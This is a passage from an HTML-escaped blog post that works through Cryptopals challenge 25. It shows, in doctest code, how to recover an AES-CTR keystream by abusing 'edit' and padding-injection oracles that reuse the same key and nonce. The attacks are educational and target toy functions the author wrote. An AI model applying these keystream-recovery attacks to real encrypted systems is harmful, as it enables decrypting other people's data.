&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;new_ctext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ctext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;splice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sz&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;new_ptext&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;new_ctext&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;edit&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; function allows us edit or patch a ciphertext modifying the plaintext &lt;em&gt;knowing the secret key&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;No magic.&lt;/p&gt;
&lt;p&gt;&lt;label for='ClRoaXMgdW5sb2NrcyB0aGUKW0JyZWFrICJyYW5kb20gYWNjZXNzIHJlYWQvd3JpdGUiIEFFUyBDVFJdKGh0dHBzOi8vY3J5cHRvcGFscy5jb20vc2V0cy80L2NoYWxsZW5nZXMvMjUpCmNoYWxsZW5nZS4gbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRoaXMgdW5sb2NrcyB0aGUKW0JyZWFrICJyYW5kb20gYWNjZXNzIHJlYWQvd3JpdGUiIEFFUyBDVFJdKGh0dHBzOi8vY3J5cHRvcGFscy5jb20vc2V0cy80L2NoYWxsZW5nZXMvMjUpCmNoYWxsZW5nZS4gbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
This unlocks the &lt;a href="https://cryptopals.com/sets/4/challenges/25"&gt;Break “random access read/write” AES CTR&lt;/a&gt; challenge.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;But if the adversary has access to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;edit&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and he/she can call it with and arbitrary &lt;em&gt;new plaintext&lt;/em&gt; (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;new_ptext&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;), we can recover the secret stream.&lt;/p&gt;
&lt;p&gt;The vulnerability is that the original ciphertext and the one returned by &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;edit&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; were both encrypted with the &lt;strong&gt;same&lt;/strong&gt; key stream.&lt;/p&gt;
&lt;p&gt;This is a simple &lt;strong&gt;known-plaintext attack&lt;/strong&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;load_bytes&lt;/span&gt;     &lt;span class="c1"&gt;# byexample: +timeout=10&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ptext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;./posts/matasano/assets/25.txt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;rt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ctext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;enc_ctr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ptext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;secret_cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;secret_cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;new_ptext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# B(0) would be much easier (but boring)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;cpatched&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;edit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;new_ptext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;secret_cfg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;kstream&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cpatched&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;new_ptext&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ptext&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;ctext&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;kstream&lt;/span&gt;
&lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;edit&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; function has some kind of limitation on the size of the patch, we only need to edit it by pieces:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;tmp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;N&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pb&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_ptext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nblocks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;N&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;        &lt;span class="c1"&gt;# byexample: +timeout=10&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;offset&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;N&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;edit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;secret_cfg&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;N&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;cpatched&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;kstream&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cpatched&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;new_ptext&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ptext&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;ctext&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;kstream&lt;/span&gt;
&lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="known-partial-plaintext-window"&gt;Known Partial Plaintext Window&lt;/h2&gt;
&lt;p&gt;Imagine that you have access to an &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;inject_pad&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; function that allows you to inject a &lt;em&gt;secret padding at an unknown position&lt;/em&gt; in the plaintext but you can control the &lt;strong&gt;length&lt;/strong&gt; of the padding inserted.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;inject_pad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pad_len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;secret_cfg&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# get some random and unknown padding&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;secret_cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;prefix&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# repeat &amp;#39;p&amp;#39; enough times to cover &amp;#39;pad_len&amp;#39; bytes of padding&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# making &amp;#39;p&amp;#39; infinite and slicing &amp;#39;pad_len&amp;#39; zeros makes the trick&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;padding&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inf&lt;/span&gt;&lt;span class="p"&gt;()[:&lt;/span&gt;&lt;span class="n"&gt;pad_len&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;pad_len&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# we don&amp;#39;t need to decrypt the whole ctext but this is easier&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;ptext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;dec_ctr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;secret_cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;secret_cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# pick a random and secret position where to do the injection&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# of the known partial plaintext (padding)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;offset&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;secret_cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;n8&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# inject the padding (know plaintext) at random location&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;ptext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ptext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;splice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# encrypt back again (here again the same error: we are reusing&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# the key and nonce)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;enc_ctr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ptext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;secret_cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;secret_cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This &lt;em&gt;feature&lt;/em&gt; makes the system &lt;strong&gt;vulnerable&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id="finding-the-padding-injection-offset"&gt;Finding the padding injection offset&lt;/h3&gt;
&lt;p&gt;Because the original and the new ciphertexts are encrypted in CTR with the &lt;em&gt;same&lt;/em&gt; secret, both will use the &lt;em&gt;same&lt;/em&gt; key stream and therefore both streams will &lt;em&gt;share the same prefix&lt;/em&gt; until the &lt;em&gt;offset&lt;/em&gt; were the injection was done.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ptext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;./posts/matasano/assets/25.txt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;rt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ctext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;enc_ctr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ptext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;secret_cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;secret_cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ctext2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;inject_pad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;ctext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;pad_len&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;secret_cfg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;secret_cfg&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If we do a xor between them we will get a bunch of zeros until the first moment in which the plaintext differ: the offset at where the injection happen.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;clen&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;x_ctexts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ctext&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;ctext2&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="n"&gt;clen&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;next&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x_ctexts&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;187&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="finding-the-known-partial-plaintext-offset"&gt;Finding the known partial plaintext offset&lt;/h3&gt;
&lt;p&gt;Now imagine that you know a fraction of the plaintext but &lt;strong&gt;you don’t know where&lt;/strong&gt; is in the plaintext but you know that it is &lt;em&gt;after&lt;/em&gt; the injection point:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;N&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;pknown&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ptext&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;secret_cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;n8&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;secret_cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;n8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;N&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Under the assumption that the known plaintext is on the right &lt;em&gt;after&lt;/em&gt; the padding, we can detect where it is: we just need to search for the self-xor of it:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;x_pknowns&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pknown&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;pknown&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;pknown_offset&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;x_ctexts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x_pknowns&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;187&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;pknown_offset&lt;/span&gt;
&lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="moving-window-recover-the-whole-key-stream"&gt;Moving window: recover the whole key stream&lt;/h3&gt;
&lt;p&gt;Knowing where the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;N&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; bytes long known plaintext is we can recover &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;N&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; bytes of the CTR key stream.&lt;/p&gt;
&lt;p&gt;We just xor the known plaintext with the ciphertext at the correct location. No big deal.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: 70%;" class='' align='middle' data='/img/matasano/ctr-edit-first-slice.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;But with the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;inject_pad&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; function we are adding padding &lt;em&gt;before&lt;/em&gt; the location of the known plaintext and indeed &lt;strong&gt;we are moving its offset&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;So if we inject &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;N&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; bytes the padding, &lt;em&gt;the window will move N bytes&lt;/em&gt; and we will able to recover &lt;em&gt;another&lt;/em&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;N&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; bytes of the key stream.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: 75%;" class='' align='middle' data='/img/matasano/ctr-edit-second-slice.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Repeating this we can recover all the key stream (except the begin):&lt;/p&gt;
